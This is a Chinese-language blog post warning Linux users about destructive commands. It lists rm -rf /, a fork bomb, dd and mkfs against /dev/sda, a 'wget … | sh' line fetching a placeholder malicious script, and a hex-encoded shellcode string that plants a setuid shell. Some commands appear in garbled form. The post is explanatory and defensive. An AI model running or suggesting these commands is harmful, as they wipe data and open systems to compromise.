首页 > 其他分享 >手残也不该敲的命令

手残也不该敲的命令

时间:2023-05-05 23:15:11浏览次数:34  
标签:不该 手残 dev 命令 rf 文件夹 sda rm

Linux命令是一种很有趣且有用的东西,但在你不知道会带来什么后果的时候,它又会显得非常危险。所以,在输入某些命令前,请多多检查再敲回车。

手残也不该敲的命令手残也不该敲的命令

rm –rf

rm –rf是删除文件夹和里面附带内容的一种最快捷的方法,但是细微的错误或者语法认知不到位,就可能对系统造成不可恢复的破坏,下面给出一些案例:

rm 删除linux下的文件

rm -r 递归删除文件夹,包括空文件夹

rm -f强制无条件删除只读文件

rm -rf / : 强制无条件删除root目录下所有内容。

rm -rf * : 强制无条件删除当前目录下所有内容。

rm -rf . : 强制无条件删除当前文件夹和子文件夹

综上所述,在你执行rm –rf命令时千万要小心,大家可以在.bashrc里面添加:

aliasrm= 'rm -i'

这样,在你下次删除东西的时候,它会提醒你到底要删啥。

){:|:&};:

这个命令其实是一种fork炸弹,它定义了一个叫“:”的函数,调用了自己两次,一次是在前台,一次是在后台。关键是这样的调用会无限循环,直到系统崩溃。

手贱的同学可以尽管在虚拟机里试试:

){ :|:&}; :任意命令 > /dev/sda

这个例子是讲,我们执行了任意命令,并输出到/dev/sda。这样的话,/dev/sda 里面的文件会被命令输出的内容全部替换掉,最后丢失掉其中原有的数据。

mv 指定的文件夹 /dev/null

这个mv命令会把指定的文件夹移动到/dev/null。在linux下,/dev/null或null是一种特殊的文件,它们会把写入自身的数据全部丢弃,再返回操作成功的消息。

# mv /home/user/* /dev/null

上面的命令会把/home/user/下面所有的内容,全部移动到/dev/null,这就是个无底的神坑。

wget http://malicious_source -O- | sh

这个命令可能会直接下载恶意的源文件,然后使用sh直接执行该脚本

mkfs.ext3 /dev/sda

上面的例子会格式化/dev/sda,在执行上面的命令后,你的硬盘驱动会被标记为新的。当然,这时系统是无法再恢复数据了.

>任意文件

这个命令可以用来刷掉原文件里的内容,如果你不小心打错了字,输入了诸如下面的命令:

> xt.conf

你系统配置文件里的内容可能就会因此被清理掉。

^foo^bar

这样利用^符号,通过上翻补全命令的方式,直接编辑之前运行过的命令。虽然你或许因此不用再输入整条长命令,但其实这会很危险。

手残也不该敲的命令手残也不该敲的命令

dd if=/dev/random of=/dev/sda

dd命令会擦掉/dev/sda下面的内容,然后写入随机的垃圾数据,最后你的系统会受到不可逆转的破坏。

隐藏命令

下面的命令相当于rm –rf,它会藏在十六进制hex中。大家在不知情的情况下运行它,可能就会直接擦除掉整个root目录:

char esp[] __attribute__ ((section(“.text”))) /* e.s.prelease */= “xebx3ex5bx31xc0x50x54x5ax83xecx64x68″“xffxffxffxffx68xdfxd0xdfxd9x68x8dx99″“xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7″“x56x04xf7x56x08xf7x56x0cx83xc4x74x56″“x8dx73x08x56x53x54x59xb0x0bxcdx80x31″“xc0x40xebxf9xe8xbdxffxffxffx2fx62x69″“x6ex2fx73x68x00x2dx63x00″“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;

这个故事告诉我们,致命的威胁在隐藏起来的时候,我们通常可能难以发现。

标签:不该,手残,dev,命令,rf,文件夹,sda,rm
From: https://www.cnblogs.com/x1-c2/p/17375623.html

相关文章

  • maven常用命令
    初学maven即感受到其强大的便捷性,大体记录下maven的基础知识以备不时之需。常用命令为:   mvnarchetype:create:创建Maven项目   mvncompile:编译源代码   mvntest-compile:编译测试代码   mvntest:运行应用程序中的单元测试   mvnsite:生成项目相关......
  • gcc命令详解
    gcc命令详解gcc命令使用GNU推出的基于C/C++的编译器,是开放源代码领域应用最普遍的编译器,具备功能强大,编译代码支持性能优化等特色,目前,GCC能够用来编译C/C++、FORTRAN、JAVA、OBJC、ADA等语言的程序,可根据须要选择安装支持的语言。在执行编译工作的时候,总共需要4步:1、预处理,生成......
  • rpm软件包管理工具命令(二)
    rpm2cpio命令用于将rpm软件包转换为cpio格式的文件。语法:rpm2cpio(参数)参数:文件:指定要转换的rpm包的文件名。实例:rpm2cpio../libstdc++-4.3.0-8.i386.rpm|cpio-idv ......
  • 日志查询常用命令
    tailtail-fa.log实时显示日志输出Ctrl+c退出tail-n10a.log显示日志倒数10行tail-n+10a.log显示第10行到最后行headcattac反向cata.log一次查看这个日志cat-na.log一次查看整个日志并且编上行号包括空白行cata.log|more显示满屏暂停,空格翻页,Ctrl+B返回......
  • vim编辑器模式和命令
    输入命令:yum-yinstallvim*​或者sudoapt-getinstallvim 命令模式按dd键删除当前光标所在行按D键删除当前光标所在行按G键将光标移动到文件的最后按dG键删除当前光标所在行到最后一行按d1G键删除当前光标所在行到第一......
  • git 常用命令
    //创建分支并推送到远端gitcheckout-b分支名称gitpushorigin分支名称将创建的本地分支推送至远程gitbranch--set-upstream-to=origin/分支名称//其他命令gitbranch查看当前所有的分支gitbranch–r查看远程所有分支gitbra......
  • android压力测试命令monkey详解
    一、Monkey是什么?Monkey就是SDK中附带的一个工具。二、Monkey测试的目的?:该工具用于进行压力测试。然后开发人员结合monkey打印的日志和系统打印的日志,结局测试中出现的问题。三、Monkey测试的特点?Monkey测试,所有的事件都是随机产生的,不带任何人的主观性。四、Monkey命令......
  • 服务相关命令
    启动服务:netstart服务名停止服务:netstop服务名暂停服务:netpause服务名恢复被暂停的服务:netcontinue服务名禁用服务:scconfig服务名start=disabled将服务设为自动启动:scconfig服务名start=auto将服务设为手动启动:scconfig服务名start=demand———————......
  • linux1_虚拟机Linux系统基础命令行_DOS命令
    dir:展开当前所有文件及文件夹cdtest:相对于当前目录开始的路径切换cd..:回到上一路径cd/test:绝对路径切换。window系统cdD:\test盘符不一样需要再次输入一次D:tab键:自动补全mkdir:创建空文件夹rd:删除空文件夹del:删除文件cls:清楚命令行屏幕......
  • npm命令报错:error Unexpected token '.'; error A complete log of this run can be fo
    如果你的npm报错是这样的errorUnexpectedtoken'.'errorAcompletelogofthisruncanbefoundin:并且你你尝试过了网上各种方法不得行。那么会不会是管控版本vnm的问题呢?弄了一早上不得行;最后尝试了下nvm版本。得出结论:nvm1.1.7这个版本有问题。请升级到nvm1.1.10......